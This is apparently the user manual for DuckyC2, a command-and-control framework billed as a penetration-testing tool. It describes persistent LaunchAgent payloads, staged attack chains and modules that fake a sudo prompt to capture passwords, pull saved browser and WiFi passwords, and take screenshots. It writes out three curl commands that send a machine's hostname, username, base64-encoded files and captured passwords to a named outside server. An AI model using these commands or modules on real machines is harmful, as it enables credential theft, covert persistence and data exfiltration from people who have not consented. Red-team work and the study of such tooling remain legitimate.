OVERVIEW
DuckyC2 is a command and control (C2) framework designed for security testing and authorized penetration testing. It allows you to deploy payloads, manage attack modules, collect loot, and monitor infected machines.
AUTHENTICATION
Access to the control center requires a password. Enter your access password on the login screen to authenticate and gain access to the dashboard.
- Sessions are automatically terminated when a new login occurs
- Inactivity timeout can be configured in settings
PAYLOAD SETTINGS
Configure how payloads are executed on target machines:
- INSTANT: Execute the payload once and exit. Best for one-time attacks.
- PERSISTENT: Install a LaunchAgent that runs the payload every 60 seconds. Provides continuous access.
- STAGED: Execute multiple attack modules in sequence. Each stage must succeed before the next runs. Perfect for multi-step attacks (e.g., capture password → extract browser data → exfiltrate files).
ATTACK MODULES
Modules are stored in the modules/ directory. Each module can contain:
activate.sh - Bash script for macOS/Linuxactivate.ps1 - PowerShell script for Windows
Creating a Module:
- Click "EDIT" on any module name
- Add your
activate.sh and/or activate.ps1 scripts
- Save the module
Activating a Module:
- In INSTANT/PERSISTENT mode: Click "ACTIVATE" to deploy the module
- In STAGED mode: Click "ADD" to add the module as a stage in the attack sequence
STAGED ATTACKS
Staged attacks allow you to execute multiple modules in a specific order:
- Select STAGED mode from Payload Settings
- The Active Payloads section will show the staged attack configuration
- Click "ADD" on modules to add them as stages (or use the dropdown in Active Payloads)
- Stages execute sequentially: Stage 1 → Stage 2 → Stage 3...
- If a stage fails (non-zero exit code), execution stops
- Click "REMOVE" to delete a stage
Example Staged Attack:
- Stage 1: Password_Prompt (capture user password)
- Stage 2: Browser_Password_Extraction (extract saved passwords)
- Stage 3: WiFi_Password_Dump (extract WiFi credentials)
ACTIVE PAYLOADS
Shows the currently active payload or staged attack configuration:
- INSTANT/PERSISTENT mode: Displays the name of the active module
- STAGED mode: Shows all configured stages with options to add/remove stages
BEACONS
Beacons are POST requests from infected machines that report back to the C2 server:
- Beacons appear in the Traffic Stats section
- Each beacon includes: IP address, timestamp, and optional data payload
- Use beacons to track infected machines and receive data
Adding Beacons to Your Scripts:
curl -X POST http://ducky.paulburghardt.me/track-beacon.php \
-H "Content-Type: application/json" \
-d '{"type":"attack","hostname":"$(hostname)","user":"$(whoami)"}'
LOOT BOX
The Loot Box stores files exfiltrated from target machines:
- All loot files are stored in the
loot/ directory
- Files can be viewed or downloaded directly from the interface
- Search and sort functionality helps manage large collections
- Auto-refreshes every 10 seconds to show new files
Uploading Loot:
curl -X POST http://ducky.paulburghardt.me/upload-loot.php \
-H "Content-Type: application/json" \
-d '{"filename":"file.txt","content":"BASE64_CONTENT","base64":true,"hostname":"$(hostname)","user":"$(whoami)"}'
PASSWORDS
Captured passwords are stored separately in the passwords/ directory:
- Each password is saved as a text file with metadata
- The password counter shows how many passwords have been captured
- Use the Password_Prompt module to capture user passwords
Uploading Passwords:
curl -X POST http://ducky.paulburghardt.me/upload-password.php \
-H "Content-Type: application/json" \
-d '{"password":"captured_password","purpose":"sudo_password","hostname":"$(hostname)","user":"$(whoami)"}'
AVAILABLE MODULES
Pre-built modules included with DuckyC2:
- Password_Prompt: Captures sudo passwords via fake sudo function
- Browser_Password_Extraction: Extracts saved passwords from Safari, Chrome, Firefox
- WiFi_Password_Dump: Extracts WiFi network passwords from keychain
- DNS_Cache_Dump: Dumps DNS cache entries and configuration
- Desktop_Screenshot: Captures screenshots of the desktop
- upload loot example: Example module showing how to upload files
KILL SWITCH
The Kill Switch button in the top right:
- Deletes all active payloads (
remote/activate.sh, remote/activate.ps1)
- Clears all staged attack scripts
- Removes persistence (LaunchAgents)
- Useful for cleanup after testing
AUTO-REFRESH
The dashboard automatically refreshes every 10 seconds:
- Beacons are updated
- Loot files are refreshed
- Active payload status is checked
- Updates are "quiet" - they don't move elements or interrupt your work
FILE STRUCTURE
DuckyC2/
├── modules/ # Attack modules
│ └── ModuleName/
│ ├── activate.sh # macOS/Linux script
│ └── activate.ps1 # Windows script
├── public/
│ ├── mode.sh # Current payload mode script
│ ├── modes/ # Mode templates (instant, persistent, staged)
│ ├── remote/ # Active payloads (activate.sh, activate.ps1)
│ └── staged/ # Staged attack scripts (stage1.sh, stage2.sh...)
├── loot/ # Exfiltrated files
├── passwords/ # Captured passwords
└── beacons.json # Beacon data
BEST PRACTICES
- Always test modules in a controlled environment first
- Use staged attacks for complex multi-step operations
- Monitor beacons to track infected machines
- Use the Kill Switch to clean up after testing
- Keep modules organized and well-documented
- Use descriptive names for loot files (include hostname, timestamp)
TROUBLESHOOTING
- Module not executing: Check that activate.sh/activate.ps1 has execute permissions
- Loot not appearing: Verify the upload endpoint is accessible and file size isn't too large
- Beacons not showing: Check that track-beacon.php is accessible and CORS is enabled
- Staged attack stops early: Check exit codes - stages must return 0 to continue
- Permission errors: Some modules require specific macOS permissions (Screen Recording, Keychain Access)